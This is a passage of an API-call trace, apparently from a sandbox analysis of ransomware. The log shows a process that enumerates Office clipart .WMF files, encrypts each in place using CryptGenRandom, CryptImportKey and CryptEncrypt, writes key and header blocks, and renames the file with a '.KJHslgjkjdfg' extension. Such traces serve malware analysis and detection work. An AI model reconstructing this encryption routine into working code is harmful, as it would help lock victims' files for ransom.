dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DD01434_.WMF", cAlternateFileName="")) returned 1 [0195.080] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01434_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01434_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0195.081] GetProcessHeap () returned 0x2ef0000 [0195.081] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0195.081] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0195.081] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0195.081] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0195.083] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0195.083] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0195.083] GetProcessHeap () returned 0x2ef0000 [0195.083] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0195.083] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0195.083] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0195.083] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0195.083] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0195.083] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0195.083] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0195.084] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0195.084] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0195.084] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0195.084] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0195.084] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.084] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x384, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x384, lpOverlapped=0x0) returned 1 [0195.084] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x390, dwBufLen=0x390 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x390) returned 1 [0195.084] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.084] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x390, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x390, lpOverlapped=0x0) returned 1 [0195.084] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0195.084] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x464, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.084] SetEndOfFile (hFile=0x130) returned 1 [0195.086] GetProcessHeap () returned 0x2ef0000 [0195.086] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0195.086] GetProcessHeap () returned 0x2ef0000 [0195.086] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0195.087] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01434_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01434_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01434_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01434_.wmf.kjhslgjkjdfg")) returned 1 [0195.088] CloseHandle (hObject=0x130) returned 1 [0195.088] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x55829800, ftCreationTime.dwHighDateTime=0x1bd4bf3, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x55829800, ftLastWriteTime.dwHighDateTime=0x1bd4bf3, nFileSizeHigh=0x0, nFileSizeLow=0x9dc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DD01585_.WMF", cAlternateFileName="")) returned 1 [0195.088] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01585_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01585_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0195.088] GetProcessHeap () returned 0x2ef0000 [0195.088] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0195.088] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0195.088] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0195.088] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0195.093] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0195.093] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0195.093] GetProcessHeap () returned 0x2ef0000 [0195.093] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0195.093] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0195.093] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0195.093] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0195.093] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0195.093] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0195.093] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0195.093] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0195.094] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0195.094] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0195.094] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0195.094] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.094] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x9dc, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x9dc, lpOverlapped=0x0) returned 1 [0195.094] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x9e0, dwBufLen=0x9e0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x9e0) returned 1 [0195.094] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.094] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x9e0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x9e0, lpOverlapped=0x0) returned 1 [0195.094] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0195.094] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xab4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.094] SetEndOfFile (hFile=0x130) returned 1 [0195.097] GetProcessHeap () returned 0x2ef0000 [0195.097] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0195.097] GetProcessHeap () returned 0x2ef0000 [0195.097] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0195.097] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01585_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01585_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01585_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01585_.wmf.kjhslgjkjdfg")) returned 1 [0195.098] CloseHandle (hObject=0x130) returned 1 [0195.098] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4bf93000, ftCreationTime.dwHighDateTime=0x1bd4bf3, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4bf93000, ftLastWriteTime.dwHighDateTime=0x1bd4bf3, nFileSizeHigh=0x0, nFileSizeLow=0x914, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DD01586_.WMF", cAlternateFileName="")) returned 1 [0195.098] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01586_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01586_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0195.099] GetProcessHeap () returned 0x2ef0000 [0195.099] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0195.099] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0195.099] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0195.099] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0195.101] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0195.101] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0195.101] GetProcessHeap () returned 0x2ef0000 [0195.101] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0195.101] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0195.101] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0195.101] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0195.101] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0195.101] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0195.101] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0195.102] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0195.102] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0195.102] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0195.102] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0195.102] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.102] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x914, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x914, lpOverlapped=0x0) returned 1 [0195.102] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x920, dwBufLen=0x920 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x920) returned 1 [0195.102] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.102] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x920, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x920, lpOverlapped=0x0) returned 1 [0195.102] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0195.102] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x9f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.102] SetEndOfFile (hFile=0x130) returned 1 [0195.105] GetProcessHeap () returned 0x2ef0000 [0195.105] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0195.105] GetProcessHeap () returned 0x2ef0000 [0195.105] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0195.105] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01586_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01586_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01586_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01586_.wmf.kjhslgjkjdfg")) returned 1 [0195.106] CloseHandle (hObject=0x130) returned 1 [0195.106] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf28f0200, ftCreationTime.dwHighDateTime=0x1bd4bee, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf28f0200, ftLastWriteTime.dwHighDateTime=0x1bd4bee, nFileSizeHigh=0x0, nFileSizeLow=0x4a7c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DD01628_.WMF", cAlternateFileName="")) returned 1 [0195.106] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01628_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01628_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0195.107] GetProcessHeap () returned 0x2ef0000 [0195.107] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0195.107] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0195.107] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0195.107] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0195.113] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0195.113] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0195.113] GetProcessHeap () returned 0x2ef0000 [0195.113] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0195.113] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0195.113] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0195.113] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0195.113] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0195.113] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0195.113] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0195.113] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0195.114] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0195.114] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0195.114] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0195.114] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.114] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x4a7c, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x4a7c, lpOverlapped=0x0) returned 1 [0195.115] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x4a80, dwBufLen=0x4a80 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x4a80) returned 1 [0195.115] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.115] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x4a80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x4a80, lpOverlapped=0x0) returned 1 [0195.116] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0195.116] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x4b54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.116] SetEndOfFile (hFile=0x130) returned 1 [0195.119] GetProcessHeap () returned 0x2ef0000 [0195.119] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0195.119] GetProcessHeap () returned 0x2ef0000 [0195.119] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0195.119] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01628_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01628_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01628_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01628_.wmf.kjhslgjkjdfg")) returned 1 [0195.120] CloseHandle (hObject=0x130) returned 1 [0195.120] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaa241400, ftCreationTime.dwHighDateTime=0x1bd4bef, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xaa241400, ftLastWriteTime.dwHighDateTime=0x1bd4bef, nFileSizeHigh=0x0, nFileSizeLow=0x244, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DD01629_.WMF", cAlternateFileName="")) returned 1 [0195.120] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01629_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01629_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0195.121] GetProcessHeap () returned 0x2ef0000 [0195.121] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0195.121] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0195.121] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0195.121] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, 